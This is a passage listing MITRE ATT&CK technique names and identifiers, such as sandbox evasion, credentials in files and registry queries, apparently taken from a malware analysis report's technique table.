T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery